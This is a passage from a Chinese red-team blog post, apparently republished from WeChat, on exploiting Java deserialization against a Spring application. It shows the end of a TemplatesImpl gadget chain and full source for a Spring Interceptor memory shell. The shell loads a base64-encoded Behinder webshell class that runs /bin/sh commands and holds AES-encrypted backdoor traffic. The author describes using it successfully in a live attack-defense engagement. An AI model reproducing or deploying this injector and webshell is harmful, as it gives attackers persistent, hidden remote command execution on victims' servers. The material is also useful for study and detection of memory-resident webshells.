        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");
//
//        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
//        oos.writeObject(expMap);
//        oos.close();

        unserialize("ser.bin");

    }


    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object unserialize(String file) throws IOException, ClassNotFoundException {
//        byte[] decode = Base64.getDecoder().decode(payload);
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream();
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object obj = ois.readObject();
        return obj;
    }
}

本地搭建相关环境,在jdk8u391的环境下成功执行命令。 但是tmd打回显的🐎子又不行,调试了半天还是不行💢。 刚好外卖到了,边吃鸭脖边又看了两眼,发现🐎子忘记继承AbstractTranslet了...

内存马

能回显了,但是在实际攻防当中我们最好还是能够打入内存马方便操作。 考虑到目标环境是spring,我直接就找了以前的springInterceptor的内存马,

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;

public class SpringInterceptorMemShell extends AbstractTranslet {
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* static String b64 = "yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwAhAGQAZQAAAAQAAgBmAGcAAAACAGgAaQAAAAIAagBpAAAAAgBrAGkAAAADAAEAbABtAAEAbgAAAEcAAgABAAAAGyq3AAEqEgK1AAMqEgS1AAUqEga1AAcqtwAIsQAAAAEAbwAAABoABgAAABgABAAUAAoAFQAQABYAFgAZABoAGgABAHAAcQACAG4AAAKHAAcACwAAAcGyAAkSCrYACysSDLkADQIAxgCQKxIMuQANAgASDrYAD5kAgCsqtAADuQANAgA6BBkExgGOGQS2ABCaAYYBOgWyABESErYAD5kAGwa9ABNZAxIUU1kEEhVTWQUZBFM6BqcAGAa9ABNZAxIWU1kEEhdTWQUZBFM6BrsAGFm4ABkZBrYAGrYAG7cAHBIdtgAetgAfOgcsuQAgAQAZB7YAIQOsKyq0AAW5ACICAMYBFSu5ACMBABIktgAPmQD9sgAJEiW2AAsruQAmAQA6BrsAJ1m3ACg6BxkHEikrtgAqVxkHEisstgAqVxkHEiwZBrYAKlcqtAAHOgQZBhItGQS5AC4DABIvuAAwOgUZBQW7ADFZuwAyWbcAMxkGEi25ADQCALYANRI2tgA3tgA4tgA5Ei+3ADq2ADsZBbsAPFm3AD0ruQA+AQC2AD+2AEC2AEE6CBJCuABDEkQGvQBFWQMSRlNZBLIAR1NZBbIAR1O2AEg6CRkJBLYASRkJKrYASrYASwa9AExZAxkIU1kEA7gATVNZBRkIvrgATVO2AE7AAEU6ChkKtgBPGQe2AFBXsgAJElG2AAsDrKcACjoGGQa2AFMErAABAK0BtAG4AFIAAgBvAAAAigAiAAAAHQAIACAAIwAhAC8AIgA8ACMAPwAlAEoAJgBiACgAdwArAJMALACeAC0AoAAvAK0AMQC7ADIAwwAzAMsANADUADUA3QA2AOYANwDwADgA9gA5AQEAOgEIADsBNQA8AU8APQFwAD4BdgA/AaAAQAGrAEEBswBCAbUARgG4AEQBugBFAb8ASQByAAAAHAAG/QBiBwBzBwB0/AAUBwB1+AAo+wEUQgcAdgYAdwAAAAQAAQBSAAIAeABtAAEAbgAAAXgABwAHAAAAlbgAVLYAVUwqKxJWtgBXtQBYpwBrTRJaTrsAPFm3AD0ttgBAOgQBOgUSWxJEBr0ARVkDEkZTWQSyAEdTWQWyAEdTtgBIOgUZBQS2AEkqGQUrBr0ATFkDGQRTWQQDuABNU1kFGQS+uABNU7YATsAARbUAWKcACjoGGQa2AF2nABhMK7YAX6cAEEwrtgBhpwAITCu2AGOxAAUABwARABQAWQAoAHIAdQBcAAAAfAB/AF4AAAB8AIcAYAAAAHwAjwBiAAIAbwAAAF4AFwAAAE4ABwBRABEAXgAUAFIAFQBTABgAVAAlAFUAKABYAEYAWQBMAFoAcgBdAHUAWwB3AFwAfABlAH8AXwCAAGAAhABlAIcAYQCIAGIAjABlAI8AYwCQAGQAlABnAHIAAABFAAf/ABQAAgcAeQcAegABBwB7/wBgAAYHAHkHAHoHAHsHAHMHAEYHAHwAAQcAff8ABgABBwB5AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==";
*/
    static String clazzName = "DynamicInterceptorTemplate";

    static {
        try {
            Class<?> RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");

            Method getWebApplicationContext;
            try {
                getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class);
            } catch (NoSuchMethodException e) {
                getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class);
            }
            getWebApplicationContext.setAccessible(true);

            WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

            //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping;
            try {
                Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
                abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
            } catch (BeansException e) {
                Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
                abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
            }

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            //加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, clazzName, bytes, 0, bytes.length);
            //添加SpringInterceptorTemplate类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance());
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

成功执行

但是貌似路径只能限制在 /3.0/authService/config这里。 测试tomcat的listener类型内存马也可以。

参考

https://github.com/bitterzzZZ/MemoryShellLearn

首发于奇安信攻防社区:https://forum.butian.net/share/3002

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Tomcat三种内存马
    • filter型内存马
      • Tomcat filter注册流程
    • Servlet型内存马
      • Listener型内存马
      • 二、Spring内存马结合反序列化相关利用
      • 环境
      • Interceptor内存马利用
        • 一、准备
          • 二、编译利用
            • 三、注入冰蝎内存马
            • Controller内存马利用
            • 三、实战利用分析
              • 问题
                • 解决
                  • 内存马
                    • 参考
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档